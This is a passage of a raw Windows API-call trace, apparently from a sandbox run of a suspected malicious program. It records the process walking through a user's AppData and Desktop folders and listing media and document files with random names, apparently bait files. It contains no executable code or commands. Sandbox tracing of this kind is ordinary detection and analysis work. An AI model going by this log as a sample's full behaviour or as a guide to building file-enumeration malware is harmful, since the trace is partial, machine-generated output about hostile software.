lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff41180, ftCreationTime.dwHighDateTime=0x1d4c8b8, ftLastAccessTime.dwLowDateTime=0xc1019720, ftLastAccessTime.dwHighDateTime=0x1d4cfee, ftLastWriteTime.dwLowDateTime=0xc1019720, ftLastWriteTime.dwHighDateTime=0x1d4cfee, nFileSizeHigh=0x0, nFileSizeLow=0x667, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LA0fDt.flv", cAlternateFileName="")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x601cdb30, ftCreationTime.dwHighDateTime=0x1d4cfae, ftLastAccessTime.dwLowDateTime=0x356b8990, ftLastAccessTime.dwHighDateTime=0x1d4d535, ftLastWriteTime.dwLowDateTime=0x356b8990, ftLastWriteTime.dwHighDateTime=0x1d4d535, nFileSizeHigh=0x0, nFileSizeLow=0x16aeb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nzD16NoQ.flv", cAlternateFileName="")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf55630, ftCreationTime.dwHighDateTime=0x1d4cc4c, ftLastAccessTime.dwLowDateTime=0xc3cc8580, ftLastAccessTime.dwHighDateTime=0x1d4d234, ftLastWriteTime.dwLowDateTime=0xc3cc8580, ftLastWriteTime.dwHighDateTime=0x1d4d234, nFileSizeHigh=0x0, nFileSizeLow=0x72b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ODTwo4qOOJx.avi", cAlternateFileName="ODTWO4~1.AVI")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4136ca0, ftCreationTime.dwHighDateTime=0x1d4d1d8, ftLastAccessTime.dwLowDateTime=0xa4c29470, ftLastAccessTime.dwHighDateTime=0x1d4cc37, ftLastWriteTime.dwLowDateTime=0xa4c29470, ftLastWriteTime.dwHighDateTime=0x1d4cc37, nFileSizeHigh=0x0, nFileSizeLow=0x8ce4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PNAkUcrgBy4hgy2ZfZzW.flv", cAlternateFileName="PNAKUC~1.FLV")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5eeb770, ftCreationTime.dwHighDateTime=0x1d4c69c, ftLastAccessTime.dwLowDateTime=0x611559b0, ftLastAccessTime.dwHighDateTime=0x1d4c813, ftLastWriteTime.dwLowDateTime=0x611559b0, ftLastWriteTime.dwHighDateTime=0x1d4c813, nFileSizeHigh=0x0, nFileSizeLow=0x17670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qm7ufohlk1udTd4Kn5.mkv", cAlternateFileName="QM7UFO~1.MKV")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e64a0, ftCreationTime.dwHighDateTime=0x1d4cb38, ftLastAccessTime.dwLowDateTime=0x4432d880, ftLastAccessTime.dwHighDateTime=0x1d4d0e8, ftLastWriteTime.dwLowDateTime=0x4432d880, ftLastWriteTime.dwHighDateTime=0x1d4d0e8, nFileSizeHigh=0x0, nFileSizeLow=0xf23d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qswPmOaFTerp.flv", cAlternateFileName="QSWPMO~1.FLV")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed062b90, ftCreationTime.dwHighDateTime=0x1d4d50e, ftLastAccessTime.dwLowDateTime=0x35336190, ftLastAccessTime.dwHighDateTime=0x1d4d540, ftLastWriteTime.dwLowDateTime=0x35336190, ftLastWriteTime.dwHighDateTime=0x1d4d540, nFileSizeHigh=0x0, nFileSizeLow=0x6c82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qVm94.swf", cAlternateFileName="")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcee27630, ftCreationTime.dwHighDateTime=0x1d4cf9d, ftLastAccessTime.dwLowDateTime=0x3f64fe0, ftLastAccessTime.dwHighDateTime=0x1d4d4da, ftLastWriteTime.dwLowDateTime=0x3f64fe0, ftLastWriteTime.dwHighDateTime=0x1d4d4da, nFileSizeHigh=0x0, nFileSizeLow=0xd828, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QWssd9nb3vYvw99.flv", cAlternateFileName="QWSSD9~1.FLV")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x315cdbe0, ftCreationTime.dwHighDateTime=0x1d4d384, ftLastAccessTime.dwLowDateTime=0x5dd24d80, ftLastAccessTime.dwHighDateTime=0x1d4d515, ftLastWriteTime.dwLowDateTime=0x5dd24d80, ftLastWriteTime.dwHighDateTime=0x1d4d515, nFileSizeHigh=0x0, nFileSizeLow=0x189ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RLWhOE4xU0nYY34j.mkv", cAlternateFileName="RLWHOE~1.MKV")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e31aa20, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x90041360, ftLastAccessTime.dwHighDateTime=0x1d4c81d, ftLastWriteTime.dwLowDateTime=0x90041360, ftLastWriteTime.dwHighDateTime=0x1d4c81d, nFileSizeHigh=0x0, nFileSizeLow=0x921b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SY7CEy_advQ-GPuP.swf", cAlternateFileName="SY7CEY~1.SWF")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e6feb0, ftCreationTime.dwHighDateTime=0x1d4ca69, ftLastAccessTime.dwLowDateTime=0x207fe9f0, ftLastAccessTime.dwHighDateTime=0x1d4d3cc, ftLastWriteTime.dwLowDateTime=0x207fe9f0, ftLastWriteTime.dwHighDateTime=0x1d4d3cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sz7_xapMC.avi", cAlternateFileName="SZ7_XA~1.AVI")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3869f5f0, ftCreationTime.dwHighDateTime=0x1d4d297, ftLastAccessTime.dwLowDateTime=0x2c73a8c0, ftLastAccessTime.dwHighDateTime=0x1d4ceca, ftLastWriteTime.dwLowDateTime=0x2c73a8c0, ftLastWriteTime.dwHighDateTime=0x1d4ceca, nFileSizeHigh=0x0, nFileSizeLow=0x15f3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UCiGSIuisINE78_i.mp4", cAlternateFileName="UCIGSI~1.MP4")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ed8480, ftCreationTime.dwHighDateTime=0x1d4d08e, ftLastAccessTime.dwLowDateTime=0xd6c39050, ftLastAccessTime.dwHighDateTime=0x1d4d4ca, ftLastWriteTime.dwLowDateTime=0xd6c39050, ftLastWriteTime.dwHighDateTime=0x1d4d4ca, nFileSizeHigh=0x0, nFileSizeLow=0x37d9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UOIbo9FKzWl25DD93Yi9.mp4", cAlternateFileName="UOIBO9~1.MP4")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44da95b0, ftCreationTime.dwHighDateTime=0x1d4cf31, ftLastAccessTime.dwLowDateTime=0xc4b145d0, ftLastAccessTime.dwHighDateTime=0x1d4cf37, ftLastWriteTime.dwLowDateTime=0xc4b145d0, ftLastWriteTime.dwHighDateTime=0x1d4cf37, nFileSizeHigh=0x0, nFileSizeLow=0x176e5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X4T9oiLBOsZNDrM.mp4", cAlternateFileName="X4T9OI~1.MP4")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80fee50, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0xba6e9460, ftLastAccessTime.dwHighDateTime=0x1d4cf41, ftLastWriteTime.dwLowDateTime=0xba6e9460, ftLastWriteTime.dwHighDateTime=0x1d4cf41, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YcDckA2w- DNgH7cL.flv", cAlternateFileName="YCDCKA~1.FLV")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80fee50, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0xba6e9460, ftLastAccessTime.dwHighDateTime=0x1d4cf41, ftLastWriteTime.dwLowDateTime=0xba6e9460, ftLastWriteTime.dwHighDateTime=0x1d4cf41, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YcDckA2w- DNgH7cL.flv", cAlternateFileName="YCDCKA~1.FLV")) returned 0 [0266.518] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.518] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116770 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115760 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31158c0 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116708 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116910 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116978 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115c30 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169e0 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115c88 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116a48 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115ce0 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115d38 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116ab0 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115d90 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116b18 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115de8 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115e40 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31167d8 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115810 | out: hHeap=0x640000) returned 1 [0266.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307de48 | out: hHeap=0x640000) returned 1 [0266.519] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.520] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.520] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0266.520] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0266.520] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.520] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.520] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.520] PathFindFileNameW (pszPath="") returned="" [0266.520] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0266.520] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0266.521] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0266.521] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0266.521] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.521] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.521] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\") returned="0_DXftOx\\" [0266.521] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0266.521] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.521] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.521] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.521] PathFindFileNameW (pszPath="") returned="" [0266.521] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc44f60, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0xffd0de50, ftLastAccessTime.dwHighDateTime=0x1d4c6d1, ftLastWriteTime.dwLowDateTime=0xffd0de50, ftLastWriteTime.dwHighDateTime=0x1d4c6d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0266.521] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc44f60, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0xffd0de50, ftLastAccessTime.dwHighDateTime=0x1d4c6d1, ftLastWriteTime.dwLowDateTime=0xffd0de50, ftLastWriteTime.dwHighDateTime=0x1d4c6d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.521] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe867c4d0, ftCreationTime.dwHighDateTime=0x1d4d09b, ftLastAccessTime.dwLowDateTime=0x13dd5670, ftLastAccessTime.dwHighDateTime=0x1d4d1dc, ftLastWriteTime.dwLowDateTime=0x13dd5670, ftLastWriteTime.dwHighDateTime=0x1d4d1dc, nFileSizeHigh=0x0, nFileSizeLow=0x12c4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="21IMcPko8Du_3IsFB-Q.gif", cAlternateFileName="21IMCP~1.GIF")) returned 1 [0266.522] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaf66b0, ftCreationTime.dwHighDateTime=0x1d4d362, ftLastAccessTime.dwLowDateTime=0x72ecb310, ftLastAccessTime.dwHighDateTime=0x1d4cbae, ftLastWriteTime.dwLowDateTime=0x72ecb310, ftLastWriteTime.dwHighDateTime=0x1d4cbae, nFileSizeHigh=0x0, nFileSizeLow=0x11dd7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kqfuGsV.m4a", cAlternateFileName="")) returned 1 [0266.522] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b00ac0, ftCreationTime.dwHighDateTime=0x1d4c8f2, ftLastAccessTime.dwLowDateTime=0x166ca230, ftLastAccessTime.dwHighDateTime=0x1d4cece, ftLastWriteTime.dwLowDateTime=0x166ca230, ftLastWriteTime.dwHighDateTime=0x1d4cece, nFileSizeHigh=0x0, nFileSizeLow=0xf69f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lpSHh6l1qJtVRTN-Ti0s.swf", cAlternateFileName="LPSHH6~1.SWF")) returned 1 [0266.522] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71b58600, ftCreationTime.dwHighDateTime=0x1d4c7a5, ftLastAccessTime.dwLowDateTime=0x81836460, ftLastAccessTime.dwHighDateTime=0x1d4d18e, ftLastWriteTime.dwLowDateTime=0x81836460, ftLastWriteTime.dwHighDateTime=0x1d4d18e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lTnvEEeQtMe", cAlternateFileName="LTNVEE~1")) returned 1 [0266.522] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0b1a30, ftCreationTime.dwHighDateTime=0x1d4cb80, ftLastAccessTime.dwLowDateTime=0xb1f86be0, ftLastAccessTime.dwHighDateTime=0x1d4c653, ftLastWriteTime.dwLowDateTime=0xb1f86be0, ftLastWriteTime.dwHighDateTime=0x1d4c653, nFileSizeHigh=0x0, nFileSizeLow=0x101de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pla8UWh-7PWmaOK2.mp3", cAlternateFileName="PLA8UW~1.MP3")) returned 1 [0266.522] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a28d610, ftCreationTime.dwHighDateTime=0x1d4d071, ftLastAccessTime.dwLowDateTime=0x74f75eb0, ftLastAccessTime.dwHighDateTime=0x1d4d2d6, ftLastWriteTime.dwLowDateTime=0x74f75eb0, ftLastWriteTime.dwHighDateTime=0x1d4d2d6, nFileSizeHigh=0x0, nFileSizeLow=0x15edb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qBg34ZfuK.pptx", cAlternateFileName="QBG34Z~1.PPT")) returned 1 [0266.522] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7179ddc0, ftCreationTime.dwHighDateTime=0x1d4cca1, ftLastAccessTime.dwLowDateTime=0x34f46220, ftLastAccessTime.dwHighDateTime=0x1d4c91e, ftLastWriteTime.dwLowDateTime=0x34f46220, ftLastWriteTime.dwHighDateTime=0x1d4c91e, nFileSizeHigh=0x0, nFileSizeLow=0x8d45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="upDp4KTN.bmp", cAlternateFileName="")) returned 1 [0266.522] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7179ddc0, ftCreationTime.dwHighDateTime=0x1d4cca1, ftLastAccessTime.dwLowDateTime=0x34f46220, ftLastAccessTime.dwHighDateTime=0x1d4c91e, ftLastWriteTime.dwLowDateTime=0x34f46220, ftLastWriteTime.dwHighDateTime=0x1d4c91e, nFileSizeHigh=0x0, nFileSizeLow=0x8d45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="upDp4KTN.bmp", cAlternateFileName="")) returned 0 [0266.522] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.522] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.522] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0266.522] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.522] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\") returned="5ZcHC6YUYXtvBMsNr4\\" [0266.522] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0266.522] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.522] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.522] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.522] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.522] PathFindFileNameW (pszPath="") returned="" [0266.522] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x205368f0, ftCreationTime.dwHighDateTime=0x1d4c669, ftLastAccessTime.dwLowDateTime=0x857f7f0, ftLastAccessTime.dwHighDateTime=0x1d4d24b, ftLastWriteTime.dwLowDateTime=0x857f7f0, ftLastWriteTime.dwHighDateTime=0x1d4d24b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.523] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0266.523] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x205368f0, 